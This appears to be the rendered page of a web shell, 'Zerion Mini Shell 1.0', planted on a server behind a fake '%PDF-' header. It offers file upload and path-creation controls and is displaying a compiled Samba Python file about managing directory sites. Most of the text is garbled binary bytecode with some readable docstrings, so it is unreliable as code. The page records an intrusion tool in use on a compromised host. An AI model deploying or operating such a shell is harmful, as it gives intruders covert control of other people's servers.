%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/__pycache__/sites.cpython-312.pyc

�

�I�d���dZddlZddlmZmZGd�de�ZGd�de�ZGd�d	e�ZGd
�de�Zd�Z	d
�Z
y)zManipulating sites.�N)�FLAG_MOD_ADD�LdbErrorc��eZdZdZd�Zd�Zy)�
SiteExceptionzBase element for Sites errorsc��||_y)N)�value)�selfrs  �-/usr/lib/python3/dist-packages/samba/sites.py�__init__zSiteException.__init__s	����
�c�L�|jj�d|j��S)Nz: )�	__class__�__name__r)r	s r
�__str__zSiteException.__str__s���>�>�2�2�D�J�J�?�?rN)r�
__module__�__qualname__�__doc__rr�rr
rrs��'��@rrc��eZdZdZy)�SiteNotFoundExceptionz>Raised when the site is not found and it's expected to exists.N�rrrrrrr
rr"s��Hrrc��eZdZdZy)�SiteAlreadyExistsExceptionzBRaised when the site is not found and it's expected not to exists.Nrrrr
rr&s��Lrrc��eZdZdZy)�SiteServerNotEmptyExceptionz0Raised when the site still has servers attached.Nrrrr
rr*s��:rrc	�0�|j|tjd|z��}t|�dk7rt	d|z��tj
�}tj|d|�dt|����|_tjdtd�|d<|j|�tj
�}tj|d	t|j�z�|_tjd
td�|d<|j|�tj
�}tj|dt|j�z�|_tjdtd�|d<|j|�y
)a
    Create a site

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param siteName: Name of the site to create
    :return: True upon success
    :raise SiteAlreadyExists: if the site to be created already exists.
    z(&(objectclass=Site)(cn=%s))��base�scope�
expressionrz&A site with the name %s already existszCn=z
,CN=Sites,�site�objectclasszCn=NTDS Site Settings,%s�nTDSSiteSettingsz
Cn=Servers,%s�serversContainerT)�search�ldb�
SCOPE_SUBTREE�lenr�Message�Dn�str�dn�MessageElementr�add)�samdb�configDn�siteName�ret�m�m2�m3s       r
�create_siter6.s3���,�,�H�C�,=�,=�"@�8�"K��M�C�
�3�x�1�}�(�)Q�T\�)\�]�]����
�A��6�6�%��#�h�-�H�I�A�D��)�)�&�,�
�N�A�m��	�I�I�a�L�	����B��F�F�5�4�s�1�4�4�y�@�A�B�E��*�*�+=�|�]�[�B�}��	�I�I�b�M�	����B��F�F�5�/�C����I�5�6�B�E��*�*�+=�|�]�[�B�}��	�I�I�b�M�rc�"�tj|d�}	|j|�	|jd�|j
dd|�tj|d�}|j|�	|j|tjd�	�}t|�d
k7rtd|z��	|j|tjd
�	�}t|�dk7rtd|z��|j|dg�y#tj$rt	d��wxYw#tj$rt	d��wxYw#t$r:}|j\}}|tjk(rtd|z��Yd}~��d}~wwxYw)aV
    Delete a site

    :param samdb: A samdb connection
    :param configDn: The DN of the configuration partition
    :param siteName: Name of the site to delete
    :return: True upon success
    :raise SiteNotFoundException: if the site to be deleted do not exists.
    :raise SiteServerNotEmpty: if the site has still servers in it.
    zCN=Siteszdnsite.add_base() failedzCN=Xzdnsite.add_child() failedr�CNz
CN=ServerszobjectClass=siter�zSite %s does not existNz(objectclass=server)z9Site %s still has servers in it, move them before removalz
tree_delete:0T)r&r*�add_baserr�	add_child�
set_componentr%�
SCOPE_BASEr(r�args�ERR_NO_SUCH_OBJECT�SCOPE_ONELEVELr�delete)	r/r0r1�dnsite�	dnserversr2�e�enum�estrs	         r
�delete_siterGSs����V�V�E�:�
&�F�8�����!�9����� �����D�(�+����u�l�+�I�
���v��M��l�l��c�n�n�&8��:���s�8�q�=�'�(@�8�(K�L�L���,�,�I�S�-?�-?�"8��:�C�
�3�x�1�}�)�*e�hp�*p�q�q�	�L�L��/�*�+���9�<�<�8��6�7�7�8���<�<�9��7�8�8�9���M��v�v���t��3�)�)�)�'�(@�8�(K�L�L�*��M�s.�D�D)�6>E�D&�)E�	F�0F	�	F)rr&rr�	Exceptionrrrrr6rGrrr
�<module>rIsQ��$�
�&�@�I�@�I�M�I�M��M�;�-�;�"�J+r

Zerion Mini Shell 1.0